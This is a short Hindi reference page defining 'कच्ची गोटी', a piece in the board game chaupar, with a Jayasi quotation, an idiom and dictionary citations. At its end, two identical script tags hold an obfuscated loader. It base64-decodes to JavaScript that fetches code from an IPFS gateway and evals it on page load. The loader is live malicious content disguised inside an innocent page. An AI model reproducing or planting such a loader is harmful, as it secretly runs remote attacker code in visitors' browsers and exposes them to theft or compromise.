कच्ची गोटी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कच्ची गोटी - संज्ञा स्त्रीलिंग (हिन्दी कच्ची+गोटी)[1]

  • चौसर के खेल में वह गोटी जो उठी तो हो पर पक्की न हो।
  • चौसर में वह गोटी जो अपने स्थान से चल चुकी हो, पर जिसने आधा रास्ता न पार किया हो।

उदाहरण-

कच्ची बारहि बार फिरासी। - मलिक मुहम्मद जायसी[2]

विशेष- चौसर में गोटियों के चार भेद हैं।

मुहावरा- 'कच्ची गोटी खेलना' =

  • नातजुर्बेकार रहना।
  • अशिक्षित बने रहना।
  • अनाड़ीपन करना।

जैसे- उसने ऐसी कच्ची गोटियाँ नहीं खेली हैं जो तुम्हारी बातों में आ जाये।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 741 |
  2. मलिक मुहम्मद जायसी

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>